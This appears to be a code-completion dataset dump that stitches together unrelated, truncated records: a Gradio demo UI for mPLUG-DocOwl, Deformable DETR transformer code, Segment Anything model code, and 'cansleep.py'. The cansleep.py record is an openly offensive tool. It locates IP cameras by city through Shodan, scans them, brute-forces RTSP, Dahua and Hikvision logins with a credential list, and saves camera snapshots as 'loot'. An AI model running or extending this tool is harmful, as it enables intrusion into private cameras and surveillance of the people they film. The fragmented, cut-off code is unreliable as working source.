THIS PAGE.**" yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn, disable_btn, disable_btn, enable_btn, enable_btn) return state.messages[-1][-1] = state.messages[-1][-1][:-1] yield (state, state.to_gradio_chatbot(), "", None) + (enable_btn,) * 5 # [![Star on GitHub](https://img.shields.io/github/stars/X-PLUG/mPLUG-Owl.svg?style=social)](https://github.com/X-PLUG/mPLUG-Owl/stargazers) # **If you are facing ERROR, it might be Out-Of-Memory (OOM) issue due to the limited GPU memory, please refresh the page to restart.** Besides, we recommand you to duplicate the space with a single A10 GPU to have a better experience. Or you can visit our demo hosted on [Modelscope](https://www.modelscope.cn/studios/damo/mPLUG-Owl/summary) which is hosted on a V100 machine. title_markdown = (""" <h1 align="center"><a href="https://github.com/X-PLUG/mPLUG-DocOwl"><img src="https://github.com/X-PLUG/mPLUG-DocOwl/raw/main/assets/mPLUG_new1.png", alt="mPLUG-DocOwl" border="0" style="margin: 0 auto; height: 200px;" /></a> </h1> <h2 align="center"> mPLUG-DocOwl: Modularized Multimodal Large Language Model for Document Understanding </h2> <h5 align="center"> If you like our project, please give us a star ✨ on Github for latest update. </h2> <div align="center"> <div style="display:flex; gap: 0.25rem;" align="center"> <a href='https://github.com/X-PLUG/mPLUG-DocOwl'><img src='https://img.shields.io/badge/Github-Code-blue'></a> <a href="https://arxiv.org/abs/2307.02499"><img src="https://github.com/X-PLUG/mPLUG-DocOwl/raw/main/assets/Paper-Arxiv-orange.svg"></a> <a href='https://github.com/X-PLUG/mPLUG-DocOwl/stargazers'><img src='https://img.shields.io/github/stars/X-PLUG/mPLUG-DocOwl.svg?style=social'></a> </div> </div> **Notice**: The output is generated by top-k sampling scheme and may involve some randomness. For multiple images, we cannot ensure it's performance since only image-text pairs are used during training. """) tos_markdown = (""" ### Terms of use By using this service, users are required to agree to the following terms: The service is a research preview intended for non-commercial use only. It only provides limited safety measures and may generate offensive content. It must not be used for any illegal, harmful, violent, racist, or sexual purposes. The service may collect user dialogue data for future research. Please click the "Flag" button if you get any inappropriate answer! We will collect those to keep improving our moderator. For an optimal experience, please use desktop computers for this demo, as mobile devices may compromise its quality. **Copyright 2023 Alibaba DAMO Academy.** """) learn_more_markdown = (""" ### License The service is a research preview intended for non-commercial use only, subject to the model [License](https://github.com/facebookresearch/llama/blob/main/MODEL_CARD.md) of LLaMA, [Terms of Use](https://openai.com/policies/terms-of-use) of the data generated by OpenAI, and [Privacy Practices](https://chrome.google.com/webstore/detail/sharegpt-share-your-chatg/daiacboceoaocpibfodeljbdfacokfjb) of ShareGPT. Please contact us if you find any potential violation. """) css = code_highlight_css + """ pre { white-space: pre-wrap; /* Since CSS 2.1 */ white-space: -moz-pre-wrap; /* Mozilla, since 1999 */ white-space: -pre-wrap; /* Opera 4-6 */ white-space: -o-pre-wrap; /* Opera 7 */ word-wrap: break-word; /* Internet Explorer 5.5+ */ } """ def build_demo(model, local_example=None): # with gr.Blocks(title="mPLUG-Owl🦉", theme=gr.themes.Base(), css=css) as demo: with gr.Blocks(title="mPLUG-DocOwl", css=css) as demo: state = gr.State() gr.Markdown(SHARED_UI_WARNING) gr.Markdown(title_markdown) with gr.Row(): with gr.Column(scale=3): imagebox = gr.Image(type="pil") with gr.Accordion("Parameters", open=True, visible=False) as parameter_row: max_output_tokens = gr.Slider(minimum=0, maximum=512, value=256, step=64, interactive=True, label="Max output tokens",) temperature = gr.Slider(minimum=0, maximum=1, value=1, step=0.1, interactive=True, label="Temperature",) top_k = gr.Slider(minimum=1, maximum=5, value=1, step=1, interactive=True, label="Top K",) top_p = gr.Slider(minimum=0, maximum=1, value=0.9, step=0.1, interactive=True, label="Top p",) length_penalty = gr.Slider(minimum=1, maximum=5, value=1, step=0.1, interactive=True, label="length_penalty",) num_beams = gr.Slider(minimum=1, maximum=5, value=1, step=1, interactive=True, label="Beam Size",) no_repeat_ngram_size = gr.Slider(minimum=1, maximum=5, value=2, step=1, interactive=True, label="no_repeat_ngram_size",) do_sample = gr.Checkbox(interactive=True, value=False, label="do_sample") gr.Markdown(tos_markdown) with gr.Column(scale=6): chatbot = grChatbot(elem_id="chatbot", visible=False).style(height=1000) with gr.Row(): with gr.Column(scale=8): textbox = gr.Textbox(show_label=False, placeholder="Enter text and press ENTER", visible=False).style(container=False) with gr.Column(scale=1, min_width=60): submit_btn = gr.Button(value="Submit", visible=False) with gr.Row(visible=False) as button_row: upvote_btn = gr.Button(value="👍 Upvote", interactive=False) downvote_btn = gr.Button(value="👎 Downvote", interactive=False) flag_btn = gr.Button(value="⚠️ Flag", interactive=False) regenerate_btn = gr.Button(value="🔄 Regenerate", interactive=False) clear_btn = gr.Button(value="🗑️ Clear history", interactive=False) if local_example: with open(local_example,'r')as f: examples = json.load(f) else: examples=[ # [f"examples/fruits.jpg", "Write an advertisement for this store."], [f"examples/table.jpg", "What programming languages does the tokenizers supports?"], # [f"DocLLM/images/screenshot_8.png", "What are the two latest news"], [f'DocLLM/images/natural_42.png', 'what is the name of player 70?'], [f"examples/monday.jpg", "Explain why this meme is funny."], [f"examples/docowl.jpg", "Give me an detail introduction about this paper."], ] gr.Examples(examples=examples, inputs=[imagebox, textbox]) gr.Markdown(learn_more_markdown) url_params = gr.JSON(visible=False) btn_list = [upvote_btn, downvote_btn, flag_btn, regenerate_btn, clear_btn] parameter_list = [ max_output_tokens, temperature, top_k, top_p, num_beams, no_repeat_ngram_size, length_penalty, do_sample ] upvote_btn.click(upvote_last_response, [state], [textbox, upvote_btn, downvote_btn, flag_btn])
downvote_btn.click(downvote_last_response,
1
2023-10-08 06:29:02+00:00
12k
LeapLabTHU/Rank-DETR
projects/deformable_detr/modeling/deformable_transformer.py
[ { "identifier": "MultiScaleDeformableAttention", "path": "detrex/layers/multi_scale_deform_attn.py", "snippet": "class MultiScaleDeformableAttention(nn.Module):\n \"\"\"Multi-Scale Deformable Attention Module used in Deformable-DETR\n\n `Deformable DETR: Deformable Transformers for End-to-End Obje...
import math import torch import torch.nn as nn from detrex.layers import ( FFN, BaseTransformerLayer, MultiheadAttention, MultiScaleDeformableAttention, TransformerLayerSequence, ) from detrex.utils import inverse_sigmoid
7,579
def forward( self, query, key, value, query_pos=None, key_pos=None, attn_masks=None, query_key_padding_mask=None, key_padding_mask=None, **kwargs, ): for layer in self.layers: query = layer( query, key, value, query_pos=query_pos, attn_masks=attn_masks, query_key_padding_mask=query_key_padding_mask, key_padding_mask=key_padding_mask, **kwargs, ) if self.post_norm_layer is not None: query = self.post_norm_layer(query) return query class DeformableDetrTransformerDecoder(TransformerLayerSequence): def __init__( self, embed_dim: int = 256, num_heads: int = 8, feedforward_dim: int = 1024, attn_dropout: float = 0.1, ffn_dropout: float = 0.1, num_layers: int = 6, return_intermediate: bool = True, num_feature_levels: int = 4, ): super(DeformableDetrTransformerDecoder, self).__init__( transformer_layers=BaseTransformerLayer( attn=[ MultiheadAttention( embed_dim=embed_dim, num_heads=num_heads, attn_drop=attn_dropout, batch_first=True, ), MultiScaleDeformableAttention( embed_dim=embed_dim, num_heads=num_heads, dropout=attn_dropout, batch_first=True, num_levels=num_feature_levels, ), ], ffn=FFN( embed_dim=embed_dim, feedforward_dim=feedforward_dim, output_dim=embed_dim, ffn_drop=ffn_dropout, ), norm=nn.LayerNorm(embed_dim), operation_order=("self_attn", "norm", "cross_attn", "norm", "ffn", "norm"), ), num_layers=num_layers, ) self.return_intermediate = return_intermediate self.bbox_embed = None self.class_embed = None def forward( self, query, key, value, query_pos=None, key_pos=None, attn_masks=None, query_key_padding_mask=None, key_padding_mask=None, reference_points=None, valid_ratios=None, **kwargs, ): output = query intermediate = [] intermediate_reference_points = [] for layer_idx, layer in enumerate(self.layers): if reference_points.shape[-1] == 4: reference_points_input = ( reference_points[:, :, None] * torch.cat([valid_ratios, valid_ratios], -1)[:, None] ) else: assert reference_points.shape[-1] == 2 reference_points_input = reference_points[:, :, None] * valid_ratios[:, None] output = layer( output, key, value, query_pos=query_pos, key_pos=key_pos, attn_masks=attn_masks, query_key_padding_mask=query_key_padding_mask, key_padding_mask=key_padding_mask, reference_points=reference_points_input, **kwargs, ) if self.bbox_embed is not None: tmp = self.bbox_embed[layer_idx](output) if reference_points.shape[-1] == 4:
# coding=utf-8 # Copyright 2022 The IDEA Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. class DeformableDetrTransformerEncoder(TransformerLayerSequence): def __init__( self, embed_dim: int = 256, num_heads: int = 8, feedforward_dim: int = 1024, attn_dropout: float = 0.1, ffn_dropout: float = 0.1, num_layers: int = 6, post_norm: bool = False, num_feature_levels: int = 4, ): super(DeformableDetrTransformerEncoder, self).__init__( transformer_layers=BaseTransformerLayer( attn=MultiScaleDeformableAttention( embed_dim=embed_dim, num_heads=num_heads, dropout=attn_dropout, batch_first=True, num_levels=num_feature_levels, ), ffn=FFN( embed_dim=embed_dim, feedforward_dim=feedforward_dim, output_dim=embed_dim, num_fcs=2, ffn_drop=ffn_dropout, ), norm=nn.LayerNorm(embed_dim), operation_order=("self_attn", "norm", "ffn", "norm"), ), num_layers=num_layers, ) self.embed_dim = self.layers[0].embed_dim self.pre_norm = self.layers[0].pre_norm if post_norm: self.post_norm_layer = nn.LayerNorm(self.embed_dim) else: self.post_norm_layer = None def forward( self, query, key, value, query_pos=None, key_pos=None, attn_masks=None, query_key_padding_mask=None, key_padding_mask=None, **kwargs, ): for layer in self.layers: query = layer( query, key, value, query_pos=query_pos, attn_masks=attn_masks, query_key_padding_mask=query_key_padding_mask, key_padding_mask=key_padding_mask, **kwargs, ) if self.post_norm_layer is not None: query = self.post_norm_layer(query) return query class DeformableDetrTransformerDecoder(TransformerLayerSequence): def __init__( self, embed_dim: int = 256, num_heads: int = 8, feedforward_dim: int = 1024, attn_dropout: float = 0.1, ffn_dropout: float = 0.1, num_layers: int = 6, return_intermediate: bool = True, num_feature_levels: int = 4, ): super(DeformableDetrTransformerDecoder, self).__init__( transformer_layers=BaseTransformerLayer( attn=[ MultiheadAttention( embed_dim=embed_dim, num_heads=num_heads, attn_drop=attn_dropout, batch_first=True, ), MultiScaleDeformableAttention( embed_dim=embed_dim, num_heads=num_heads, dropout=attn_dropout, batch_first=True, num_levels=num_feature_levels, ), ], ffn=FFN( embed_dim=embed_dim, feedforward_dim=feedforward_dim, output_dim=embed_dim, ffn_drop=ffn_dropout, ), norm=nn.LayerNorm(embed_dim), operation_order=("self_attn", "norm", "cross_attn", "norm", "ffn", "norm"), ), num_layers=num_layers, ) self.return_intermediate = return_intermediate self.bbox_embed = None self.class_embed = None def forward( self, query, key, value, query_pos=None, key_pos=None, attn_masks=None, query_key_padding_mask=None, key_padding_mask=None, reference_points=None, valid_ratios=None, **kwargs, ): output = query intermediate = [] intermediate_reference_points = [] for layer_idx, layer in enumerate(self.layers): if reference_points.shape[-1] == 4: reference_points_input = ( reference_points[:, :, None] * torch.cat([valid_ratios, valid_ratios], -1)[:, None] ) else: assert reference_points.shape[-1] == 2 reference_points_input = reference_points[:, :, None] * valid_ratios[:, None] output = layer( output, key, value, query_pos=query_pos, key_pos=key_pos, attn_masks=attn_masks, query_key_padding_mask=query_key_padding_mask, key_padding_mask=key_padding_mask, reference_points=reference_points_input, **kwargs, ) if self.bbox_embed is not None: tmp = self.bbox_embed[layer_idx](output) if reference_points.shape[-1] == 4:
new_reference_points = tmp + inverse_sigmoid(reference_points)
5
2023-10-12 03:02:25+00:00
12k
SinonApp/cansleep
cansleep.py
[ { "identifier": "SmapScanner", "path": "scanners/smap_scanner.py", "snippet": "class SmapScanner():\n\n def __init__(self, target, is_file=False, ports=[], options=None, logging=None):\n self.target = target\n self.is_file = is_file\n self.ports = ports\n self.options = op...
from scanners.smap_scanner import SmapScanner from scanners.nmap_scanner import NmapScanner from scanners.masscan_scanner import MasscanScanner from tools.checker import rtsp_checker, dahua_checker, hikka_checker from tools.brute import rtsp_bruter, dahua_bruter, hikka_bruter from tools.snapshot import rtsp_snapshoter, dahua_snapshoter, hikka_snapshoter from concurrent.futures.thread import ThreadPoolExecutor from itertools import repeat from pathlib import Path from tools import utils import argparse import logging import config
7,417
with ThreadPoolExecutor(max_workers=threads) as executor: snapshots = executor.map( rtsp_snapshoter, rtsp_urls, repeat(rtsp_folder), repeat(logging) ) loot = utils.write_loot(snapshots, loot_file, proto='rtsp', api_key=api_key) if not loot: logging.warning('[RTSP] No loot. Try to change targets/ports/protocol.') def exec_dahua(full_targets, threads, dahua_folder, loot_file, api_key): logging.info(f'[DAHUA] Start checking targets') with ThreadPoolExecutor(max_workers=threads) as executor: checked_targets = executor.map( dahua_checker, full_targets, repeat(logging) ) logging.info(f'[DAHUA] Start brutting credentials') with ThreadPoolExecutor(max_workers=threads) as executor: bruted_targets = executor.map( dahua_bruter, checked_targets, repeat(utils.load_txt(Path('./lib/combo.txt'), 'credentials')), repeat(logging) ) logging.info(f'[DAHUA] Start snapshoting') with ThreadPoolExecutor(max_workers=threads) as executor: snapshots = executor.map( dahua_snapshoter, bruted_targets, repeat(dahua_folder), repeat(logging) ) loot = utils.write_loot(snapshots, loot_file, proto='dahua', api_key=api_key) if not loot: logging.warning('[DAHUA] No loot. Try to change targets/ports/protocol.') def exec_hikka(full_targets, threads, hikka_folder, loot_file, api_key): logging.info(f'[HIKKA] Start checking connection') with ThreadPoolExecutor(max_workers=threads) as executor: checked_targets = executor.map( hikka_checker, full_targets, repeat(logging) ) logging.info(f'[HIKKA] Start brutting credentials') with ThreadPoolExecutor(max_workers=threads) as executor: bruted_targets = executor.map( hikka_bruter, checked_targets, repeat(utils.load_txt(Path('./lib/combo.txt'), 'credentials')), repeat(logging) ) logging.info(f'[HIKKA] Start snapshoting') with ThreadPoolExecutor(max_workers=threads) as executor: snapshots = executor.map( hikka_snapshoter, bruted_targets, repeat(hikka_folder), repeat(logging) ) loot = utils.write_loot(snapshots, loot_file, proto='dahua', api_key=api_key) if not loot: logging.warning('[HIKKA] No loot. Try to change targets/ports/protocol.') API_KEY = None if config.SHODAN_API_KEY == '' else config.SHODAN_API_KEY attack_folder = Path(f'./reports/{utils.dtfilename()}') report_file = Path(f'{attack_folder}/report.txt') loot_file = Path(f'{attack_folder}/loot.txt') snapshots_folder = Path(f'{attack_folder}/snapshots/') dahua_folder = Path(f'{snapshots_folder}/dahua/') rtsp_folder = Path(f'{snapshots_folder}/rtsp/') hikka_folder = Path(f'{snapshots_folder}/hikka/') shodan_file = Path(f'{attack_folder}/shodan.txt') utils.create_folder(attack_folder) utils.create_file(report_file) utils.create_file(loot_file) utils.create_folder(snapshots_folder) utils.create_folder(dahua_folder) utils.create_folder(rtsp_folder) utils.create_folder(hikka_folder) if TARGET == None and args.country and args.city: logging.info(f'[SHODAN] Gatherings info for {args.country} {args.city}') if args.ports: utils.search_shodan(args.country, shodan_file, API_KEY, logging, city=args.city, mode=args.mode, port=args.ports) else: utils.search_shodan(args.country, shodan_file, API_KEY, logging, city=args.city, mode=args.mode) TARGET = str(shodan_file) if TARGET != None or args.load: report = None targets = [] full_targets = [] ports = [] if not args.load: match args.scanner: case 'smap': logging.info('[SMAP] Start scanning. Please wait...') smap = SmapScanner(TARGET, is_file=utils.target_is_file(TARGET), ports=PORTS, logging=logging) report = smap.scan() case 'nmap': logging.info('[NMAP] Start scanning. Please wait...') nmap = NmapScanner(TARGET, is_file=utils.target_is_file(TARGET), ports=PORTS, logging=logging) report = nmap.scan() case 'masscan': logging.info('[MASSCAN] Start scanning. Please wait...')
parser = argparse.ArgumentParser(prog = 'cansleep', description = 'What the program does') parser.add_argument('--target', required=False, type=str, help='Enter ip address or CIDR range or file') parser.add_argument('-l', '--load', required=False, type=str, help='Load file with report.txt for skip scanning') parser.add_argument('--country', required=False, type=str, help='Select country for search in shodan') parser.add_argument('--city', required=False, type=str, help='Select city for search in shodan') parser.add_argument('-s', '--scanner', required=False, default='masscan', type=str, help='Choice scanner smap,nmap,masscan') parser.add_argument('-i', '--interface', required=False, type=str, help='Interface') parser.add_argument('-p', '--ports', required=False, type=str, help='Ports for scanning.') parser.add_argument('-m', '--mode', required=True, type=str, help='Attack mode all,rtsp,dahua,hikka') parser.add_argument('--combo', required=False, default='combo.txt', type=str, help='Combo username:password') parser.add_argument('-t', '--threads', required=False, default=10, type=int, help='Brute force threads') parser.add_argument('-d', '--debug', required=False, action='store_true', help='Enable debug logging') args = parser.parse_args() if args.debug: level = logging.DEBUG else: level = logging.INFO logger = logging.getLogger("My_app") logger.setLevel(level) ch = logging.StreamHandler() ch.setLevel(level) ch.setFormatter(utils.CustomFormatter()) logger.addHandler(ch) logging = logger if not args.target and not args.load and (not args.country and not args.city): logging.warning('Please set target or load target from reports files') parser.print_help() DEFAULT_PORTS = { 'rtsp': [554, 8554], 'dahua': [37777, 37778, 34567], 'hikka': [80, 81, 8080, 8888] } TARGET = args.target if args.target else None PORTS = [] if args.mode == 'rtsp' and not args.ports: PORTS = DEFAULT_PORTS['rtsp'] elif args.mode == 'dahua' and not args.ports: PORTS = DEFAULT_PORTS['dahua'] elif args.mode == 'hikka' and not args.ports: PORTS = DEFAULT_PORTS['hikka'] elif args.mode == 'all' and not args.ports: PORTS = DEFAULT_PORTS['rtsp'] + DEFAULT_PORTS['dahua'] + DEFAULT_PORTS['hikka'] else: PORTS = args.ports.split(',') if args.ports else None def exec_rtsp(targets, ports, threads, rtsp_folder, loot_file, api_key): logging.info(f'[RTSP] Start checking routes') with ThreadPoolExecutor(max_workers=threads) as executor: checked_targets = executor.map( rtsp_checker, targets, repeat(ports), repeat(utils.load_txt(Path('./lib/rtsp_routes.txt'), 'routes')), repeat(logging) ) logging.info(f'[RTSP] Start brutting credentials') with ThreadPoolExecutor(max_workers=threads) as executor: bruted_targets = executor.map( rtsp_bruter, checked_targets, repeat(utils.load_txt(Path('./lib/combo.txt'), 'credentials')), repeat(logging) ) rtsp_urls = list(map(str, bruted_targets)) logging.info(f'[RTSP] Start snapshoting cameras') with ThreadPoolExecutor(max_workers=threads) as executor: snapshots = executor.map( rtsp_snapshoter, rtsp_urls, repeat(rtsp_folder), repeat(logging) ) loot = utils.write_loot(snapshots, loot_file, proto='rtsp', api_key=api_key) if not loot: logging.warning('[RTSP] No loot. Try to change targets/ports/protocol.') def exec_dahua(full_targets, threads, dahua_folder, loot_file, api_key): logging.info(f'[DAHUA] Start checking targets') with ThreadPoolExecutor(max_workers=threads) as executor: checked_targets = executor.map( dahua_checker, full_targets, repeat(logging) ) logging.info(f'[DAHUA] Start brutting credentials') with ThreadPoolExecutor(max_workers=threads) as executor: bruted_targets = executor.map( dahua_bruter, checked_targets, repeat(utils.load_txt(Path('./lib/combo.txt'), 'credentials')), repeat(logging) ) logging.info(f'[DAHUA] Start snapshoting') with ThreadPoolExecutor(max_workers=threads) as executor: snapshots = executor.map( dahua_snapshoter, bruted_targets, repeat(dahua_folder), repeat(logging) ) loot = utils.write_loot(snapshots, loot_file, proto='dahua', api_key=api_key) if not loot: logging.warning('[DAHUA] No loot. Try to change targets/ports/protocol.') def exec_hikka(full_targets, threads, hikka_folder, loot_file, api_key): logging.info(f'[HIKKA] Start checking connection') with ThreadPoolExecutor(max_workers=threads) as executor: checked_targets = executor.map( hikka_checker, full_targets, repeat(logging) ) logging.info(f'[HIKKA] Start brutting credentials') with ThreadPoolExecutor(max_workers=threads) as executor: bruted_targets = executor.map( hikka_bruter, checked_targets, repeat(utils.load_txt(Path('./lib/combo.txt'), 'credentials')), repeat(logging) ) logging.info(f'[HIKKA] Start snapshoting') with ThreadPoolExecutor(max_workers=threads) as executor: snapshots = executor.map( hikka_snapshoter, bruted_targets, repeat(hikka_folder), repeat(logging) ) loot = utils.write_loot(snapshots, loot_file, proto='dahua', api_key=api_key) if not loot: logging.warning('[HIKKA] No loot. Try to change targets/ports/protocol.') API_KEY = None if config.SHODAN_API_KEY == '' else config.SHODAN_API_KEY attack_folder = Path(f'./reports/{utils.dtfilename()}') report_file = Path(f'{attack_folder}/report.txt') loot_file = Path(f'{attack_folder}/loot.txt') snapshots_folder = Path(f'{attack_folder}/snapshots/') dahua_folder = Path(f'{snapshots_folder}/dahua/') rtsp_folder = Path(f'{snapshots_folder}/rtsp/') hikka_folder = Path(f'{snapshots_folder}/hikka/') shodan_file = Path(f'{attack_folder}/shodan.txt') utils.create_folder(attack_folder) utils.create_file(report_file) utils.create_file(loot_file) utils.create_folder(snapshots_folder) utils.create_folder(dahua_folder) utils.create_folder(rtsp_folder) utils.create_folder(hikka_folder) if TARGET == None and args.country and args.city: logging.info(f'[SHODAN] Gatherings info for {args.country} {args.city}') if args.ports: utils.search_shodan(args.country, shodan_file, API_KEY, logging, city=args.city, mode=args.mode, port=args.ports) else: utils.search_shodan(args.country, shodan_file, API_KEY, logging, city=args.city, mode=args.mode) TARGET = str(shodan_file) if TARGET != None or args.load: report = None targets = [] full_targets = [] ports = [] if not args.load: match args.scanner: case 'smap': logging.info('[SMAP] Start scanning. Please wait...') smap = SmapScanner(TARGET, is_file=utils.target_is_file(TARGET), ports=PORTS, logging=logging) report = smap.scan() case 'nmap': logging.info('[NMAP] Start scanning. Please wait...') nmap = NmapScanner(TARGET, is_file=utils.target_is_file(TARGET), ports=PORTS, logging=logging) report = nmap.scan() case 'masscan': logging.info('[MASSCAN] Start scanning. Please wait...')
mass = MasscanScanner(TARGET, is_file=utils.target_is_file(TARGET), ports=PORTS, interface=args.interface, logging=logging)
2
2023-10-13 09:01:28+00:00
12k
ByungKwanLee/Full-Segment-Anything
modeling/sam.py
[ { "identifier": "ImageEncoderViT", "path": "modeling/image_encoder.py", "snippet": "class ImageEncoderViT(nn.Module):\n def __init__(\n self,\n img_size: int = 1024,\n patch_size: int = 16,\n in_chans: int = 3,\n embed_dim: int = 768,\n depth: int = 12,\n ...
import torch from torch import nn from torch.nn import functional as F from typing import Any, Dict, List, Tuple from .image_encoder import ImageEncoderViT from .mask_decoder import MaskDecoder from .prompt_encoder import PromptEncoder from torchvision.ops.boxes import batched_nms from utils.amg import ( MaskData, batched_mask_to_box, calculate_stability_score, is_box_near_crop_edge, uncrop_masks, )
8,176
sparse_prompt_embeddings=sparse_embeddings, dense_prompt_embeddings=dense_embeddings, multimask_output=multimask_output, ) masks = self.postprocess_masks( low_res_masks, input_size=image_record["image"].shape[-2:], original_size=image_record["original_size"], ) masks = masks > self.mask_threshold outputs.append( { "masks": masks, "iou_predictions": iou_predictions, "low_res_logits": low_res_masks, } ) return outputs # Batch Individual Mask Generation by LBK @torch.no_grad() def individual_forward( self, batched_input: List[Dict[str, Any]], multimask_output: bool, is_low_resol: bool = False, ) -> List[Dict[str, torch.Tensor]]: input_images = torch.stack([self.lbk_preprocess(x["image"]) for x in batched_input], dim=0) image_embeddings = self.image_encoder(input_images) refined_mask_outputs = [] for image_record, curr_embedding in zip(batched_input, image_embeddings): if "point_coords" in image_record: points = (image_record["point_coords"], image_record["point_labels"]) else: points = None sparse_embeddings, dense_embeddings = self.prompt_encoder( points=points, boxes=image_record.get("boxes", None), masks=image_record.get("mask_inputs", None), ) low_res_masks, iou_predictions = self.mask_decoder( image_embeddings=curr_embedding.unsqueeze(0), image_pe=self.prompt_encoder.get_dense_pe(), sparse_prompt_embeddings=sparse_embeddings, dense_prompt_embeddings=dense_embeddings, multimask_output=multimask_output, ) # Progressing Intergraion.. by LBK refined_masks = self.postprocess_small_regions(low_res_masks, iou_predictions, *input_images.shape[2:], is_low_resol) if not is_low_resol: refined_masks = F.interpolate( refined_masks.unsqueeze(1).float(), input_images.shape[2:], mode="bilinear", align_corners=False, ).squeeze(1).bool() refined_mask_outputs.append(refined_masks) return refined_mask_outputs # PostProcess by LBK EDIT def postprocess_small_regions(self, masks, iou_predictions, orig_h, orig_w, is_low_resol): """ Configuration """ # pred_iou_thresh = 0.85 # stability_score_offset = 1.0 # stability_score_thresh = 0.85 # box_nms_thresh = 0.7 pred_iou_thresh = 0.7 stability_score_offset = 1.0 stability_score_thresh = 0.7 box_nms_thresh = 0.7 # Interpolation if not is_low_resol: masks = F.interpolate( masks, (orig_h, orig_w), mode="bilinear", align_corners=False, ) else: orig_h, orig_w = masks.shape[2:] # Serialize predictions and store in MaskData data = MaskData( masks=masks.flatten(0, 1), iou_preds=iou_predictions.flatten(0, 1), ) # Filter by predicted IoU if pred_iou_thresh > 0.0: keep_mask = data["iou_preds"] > pred_iou_thresh data.filter(keep_mask) # Calculate stability score data["stability_score"] = calculate_stability_score( data["masks"], self.mask_threshold, stability_score_offset ) if stability_score_thresh > 0.0: keep_mask = data["stability_score"] >= stability_score_thresh data.filter(keep_mask) # Threshold masks and calculate boxes data["masks"] = data["masks"] > self.mask_threshold data["boxes"] = batched_mask_to_box(data["masks"]) # Filter boxes that touch crop boundaries keep_mask = ~is_box_near_crop_edge(data["boxes"], [0, 0, orig_w, orig_h], [0, 0, orig_w, orig_h]) if not torch.all(keep_mask): data.filter(keep_mask)
# Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. # by LBK EDIT class Sam(nn.Module): mask_threshold: float = 0.0 image_format: str = "RGB" def __init__( self, image_encoder: ImageEncoderViT, prompt_encoder: PromptEncoder, mask_decoder: MaskDecoder, pixel_mean: List[float] = [123.675, 116.28, 103.53], pixel_std: List[float] = [58.395, 57.12, 57.375], ) -> None: """ SAM predicts object masks from an image and input prompts. Arguments: image_encoder (ImageEncoderViT): The backbone used to encode the image into image embeddings that allow for efficient mask prediction. prompt_encoder (PromptEncoder): Encodes various types of input prompts. mask_decoder (MaskDecoder): Predicts masks from the image embeddings and encoded prompts. pixel_mean (list(float)): Mean values for normalizing pixels in the input image. pixel_std (list(float)): Std values for normalizing pixels in the input image. """ super().__init__() self.image_encoder = image_encoder self.prompt_encoder = prompt_encoder self.mask_decoder = mask_decoder self.register_buffer("pixel_mean", torch.Tensor(pixel_mean).view(-1, 1, 1), False) self.register_buffer("pixel_std", torch.Tensor(pixel_std).view(-1, 1, 1), False) @property def device(self) -> Any: return self.pixel_mean.device @torch.no_grad() def forward( self, batched_input: List[Dict[str, Any]], multimask_output: bool, ) -> List[Dict[str, torch.Tensor]]: """ Predicts masks end-to-end from provided images and prompts. If prompts are not known in advance, using SamPredictor is recommended over calling the model directly. Arguments: batched_input (list(dict)): A list over input images, each a dictionary with the following keys. A prompt key can be excluded if it is not present. 'image': The image as a torch tensor in 3xHxW format, already transformed for input to the model. 'original_size': (tuple(int, int)) The original size of the image before transformation, as (H, W). 'point_coords': (torch.Tensor) Batched point prompts for this image, with shape BxNx2. Already transformed to the input frame of the model. 'point_labels': (torch.Tensor) Batched labels for point prompts, with shape BxN. 'boxes': (torch.Tensor) Batched box inputs, with shape Bx4. Already transformed to the input frame of the model. 'mask_inputs': (torch.Tensor) Batched mask inputs to the model, in the form Bx1xHxW. multimask_output (bool): Whether the model should predict multiple disambiguating masks, or return a single mask. Returns: (list(dict)): A list over input images, where each element is as dictionary with the following keys. 'masks': (torch.Tensor) Batched binary mask predictions, with shape BxCxHxW, where B is the number of input prompts, C is determined by multimask_output, and (H, W) is the original size of the image. 'iou_predictions': (torch.Tensor) The model's predictions of mask quality, in shape BxC. 'low_res_logits': (torch.Tensor) Low resolution logits with shape BxCxHxW, where H=W=256. Can be passed as mask input to subsequent iterations of prediction. """ input_images = torch.stack([self.preprocess(x["image"]) for x in batched_input], dim=0) image_embeddings = self.image_encoder(input_images) outputs = [] for image_record, curr_embedding in zip(batched_input, image_embeddings): if "point_coords" in image_record: points = (image_record["point_coords"], image_record["point_labels"]) else: points = None sparse_embeddings, dense_embeddings = self.prompt_encoder( points=points, boxes=image_record.get("boxes", None), masks=image_record.get("mask_inputs", None), ) low_res_masks, iou_predictions = self.mask_decoder( image_embeddings=curr_embedding.unsqueeze(0), image_pe=self.prompt_encoder.get_dense_pe(), sparse_prompt_embeddings=sparse_embeddings, dense_prompt_embeddings=dense_embeddings, multimask_output=multimask_output, ) masks = self.postprocess_masks( low_res_masks, input_size=image_record["image"].shape[-2:], original_size=image_record["original_size"], ) masks = masks > self.mask_threshold outputs.append( { "masks": masks, "iou_predictions": iou_predictions, "low_res_logits": low_res_masks, } ) return outputs # Batch Individual Mask Generation by LBK @torch.no_grad() def individual_forward( self, batched_input: List[Dict[str, Any]], multimask_output: bool, is_low_resol: bool = False, ) -> List[Dict[str, torch.Tensor]]: input_images = torch.stack([self.lbk_preprocess(x["image"]) for x in batched_input], dim=0) image_embeddings = self.image_encoder(input_images) refined_mask_outputs = [] for image_record, curr_embedding in zip(batched_input, image_embeddings): if "point_coords" in image_record: points = (image_record["point_coords"], image_record["point_labels"]) else: points = None sparse_embeddings, dense_embeddings = self.prompt_encoder( points=points, boxes=image_record.get("boxes", None), masks=image_record.get("mask_inputs", None), ) low_res_masks, iou_predictions = self.mask_decoder( image_embeddings=curr_embedding.unsqueeze(0), image_pe=self.prompt_encoder.get_dense_pe(), sparse_prompt_embeddings=sparse_embeddings, dense_prompt_embeddings=dense_embeddings, multimask_output=multimask_output, ) # Progressing Intergraion.. by LBK refined_masks = self.postprocess_small_regions(low_res_masks, iou_predictions, *input_images.shape[2:], is_low_resol) if not is_low_resol: refined_masks = F.interpolate( refined_masks.unsqueeze(1).float(), input_images.shape[2:], mode="bilinear", align_corners=False, ).squeeze(1).bool() refined_mask_outputs.append(refined_masks) return refined_mask_outputs # PostProcess by LBK EDIT def postprocess_small_regions(self, masks, iou_predictions, 